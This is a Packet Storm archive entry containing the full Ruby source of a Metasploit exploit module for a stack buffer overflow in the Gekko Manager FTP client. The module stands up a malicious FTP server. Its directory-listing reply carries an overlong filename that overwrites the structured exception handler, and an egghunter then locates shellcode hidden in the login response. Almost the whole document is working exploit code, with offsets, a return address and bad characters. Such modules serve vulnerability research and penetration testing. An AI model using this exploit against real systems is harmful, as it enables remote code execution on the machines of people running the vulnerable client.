Gekko Manager FTP Client Stack Buffer Overflow

2010-10-13T00:00:00
ID PACKETSTORM:94663
Type packetstorm
Reporter corelanc0d3r
Modified 2010-10-13T00:00:00

Description

                                        
                                            `##  
# $Id: gekkomgr_list_reply.rb 10660 2010-10-12 18:39:21Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
include Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gekko Manager FTP Client Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Gekko Manager ftp client, triggered when  
processing the response received after sending a LIST request. If this response contains  
a long filename, a buffer overflow occurs, overwriting a structured exception handler.  
},  
'Author' =>  
[  
'nullthreat', # found the bug  
'corelanc0d3r', # wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10660 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'XP SP3 Universal', { 'Offset' => 376, 'Ret' => 0x00553C72 } ], # ppr Gekko manager.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
end  
  
#---------------------------------------------------------------------------------  
  
def setup  
super  
badchars = "\x00\xff\x0d\x5c\x2f\x0a"  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
  
enchunter = Msf::Util::EXE.encode_stub(framework, [ARCH_X86], @hunter, ::Msf::Module::PlatformList.win32, badchars)  
@hunter = enchunter  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_pass(c,arg)  
c.put("230 OK #{@egg}\r\n")  
return  
end  
  
def on_client_command_list(c,arg)  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
  
#Setup for the shellcode  
offset_to_nseh = target['Offset']  
jmpback = "\xeb\x8d\xfe\xff\xff"  
nseh = "\xeb\xf9\x41\x41"  
seh = [target.ret].pack('V')  
strfile = "A" * (offset_to_nseh-@hunter.length-5)  
strfile << @hunter  
strfile << jmpback  
strfile << nseh  
strfile << seh  
  
print_status(" - Sending directory list via data connection")  
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.txt\r\n\r\n"  
conn.put(dirlist)  
conn.close  
print_status(" - Payload sent, wait for hunter...")  
return  
end  
  
end  
  
`